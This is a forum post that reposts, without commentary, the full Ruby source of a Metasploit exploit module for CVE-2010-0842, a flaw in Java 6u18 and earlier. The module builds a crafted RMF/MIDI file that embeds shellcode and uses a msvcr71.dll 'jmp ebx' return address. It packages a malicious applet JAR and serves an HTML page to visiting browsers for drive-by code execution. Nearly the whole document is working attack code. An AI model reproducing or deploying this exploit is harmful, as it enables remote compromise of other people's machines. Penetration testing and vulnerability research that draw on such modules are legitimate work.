Java MixerSequencer Object GM_Song Structure Handling Vulnerability

[Nytro]

[h=1]Java MixerSequencer Object GM_Song Structure Handling Vulnerability[/h]

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
    include Msf::Exploit::Remote::HttpServer::HTML
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",
            'Description'    => %q{
                    This module exploits a flaw within the handling of MixerSequencer objects
                in Java 6u18 and before.
                    Exploitation id done by supplying a specially crafted MIDI file within an RMF
                File. When the MixerSequencer objects is used to play the file, the GM_Song
                structure is populated with a function pointer provided by a SONG block in the
                RMF. A Midi block that contains a MIDI with a specially crafted controller event
                is used to trigger the vulnerability.
                When triggering the vulnerability "ebx" points to a fake event in the MIDI file
                which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the
                exploit reliable over java updates.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Peter Vreugdenhil',  # Vulnerability Discovery and exploit
                    'juan vazquez', # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2010-0842' ],
                    [ 'OSVDB', '63493'],
                    [ 'BID', '39077'],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ],
                    [ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']
                ],
            'Payload'        =>
                {
                    'Space'    => 8000,
                },
            'DefaultOptions'  =>
                {
                    'EXITFUNC'             => "process",
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        # Tested succesfully on:
                        # Windows XP SP3 / IE 6 / Java 6u18
                        # Windows XP SP3 / IE 7 / Java 6u18
                        # Windows XP SP3 / IE 8 / Java 6u18
                        # Windows XP SP3 / Firefox 7.0.1 / Java 6u18
                        # Windows XP SP3 / IE 8 / Java 6u17
                        # Windows XP SP3 / Firefox 7.0.1 / Java 6u17
                        # Windows 7 / IE 8 / Java 6u18
                        'Windows / Java 6 <=u18',
                        {
                            'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Mar 30 2010",
            'DefaultTarget'  => 0))
    end
    def get_rmf
        rmf_header = ""
        rmf_header << "IREZ" # RMFHeaderMagic
        rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber
        rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks
        song_block = ""
        song_block << "\x00\x00\x00\x65" # OffsetToNextBlock
        song_block << "SONG" # BlockType
        song_block << [target.ret].pack("N") # BlockID
        song_block << "\x00" # BlockName
        song_block << "\x00\x00\x00\x47" # BlockDataSize
        song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData
        song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData
        song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData
        song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
        song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
        song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
        song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData
        song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData
        song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData
        midi = ""
        # HEADERCHUNK Header
        midi << "MThd"                 # Header
        midi << "\x00\x00\x00\x06"     # Chunk size
        midi << "\x00\x01"             # Format Type
        midi << "\x00\x01"             # Number of tracks
        midi << "\x00\x08"             # Time division
        # TRACKCHUNK header
        midi << "MTrk"                 # Header
        midi << "\x00\x00\x24\xd7" # Length
        midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability
        # Fake Midi Meta event - Shellcode
        midi << "\x38" # Variable lenght delta time
        midi << "\xff" # Midi meta event
        midi << "\x02" # Meta event type 02 => Copyright notice
        midi << "\xc9\x50" # Variable Meta Event Length
        midi << payload.encoded
        midi << rand_text(9123 - payload.encoded.length)
        midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock
        midi_block << "Midi" # BlockType
        midi_block << "\x00\x00\x7f\xff" # BlockID
        midi_block << "\x00" # BlockName
        midi_block << "\x00\x00\x24\xed" # BlockDataSize
        midi_block << midi # BlockData
        rmf = ""
        rmf << rmf_header
        rmf << song_block
        rmf << midi_block
        rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf"
        return rmf_name, rmf
    end
    def get_jar
        files = [
            [ "MyController.class" ],
            [ "MixerMidiApplet.class" ],
            [ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ]
        ]
        jar = Rex::Zip::Jar.new
        jar.add_file("META-INF/", "")
        jar.add_file("META-INF/services/", "")
        jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0842"))
        jar.build_manifest
        jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar"
        return jar_name, jar
    end
    def on_request_uri(cli, request)
        if request.uri =~ /\.jar$/i
            print_status("Sending JAR file to #{cli.peerhost}:#{cli.peerport}...")
            send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})
            return
        end
        if request.uri =~ /\.rmf$/i
            print_status("Sending RMF file to #{cli.peerhost}:#{cli.peerport}...")
            send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})
            return
        end
        base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
        rmf_uri = base_uri + "/#{@rmf_name}"
        jar_uri = base_uri + "/#{@jar_name}"
        html = %Q|
        <html>
        <head>
        </head>
        <body>
        <applet code="MixerMidiApplet.class" archive="#{jar_uri}" width=350 height=200>
            <param name="midifile" valuetype="ref" value="#{rmf_uri}">
        </applet>
        </body>
        </html>
        |
        html = html.gsub(/^\t\t/, '')
        print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
    def exploit
        @jar_name, @jar = get_jar
        @rmf_name, @rmf = get_rmf
        super
    end
end

Sursa: Java MixerSequencer Object GM_Song Structure Handling Vulnerability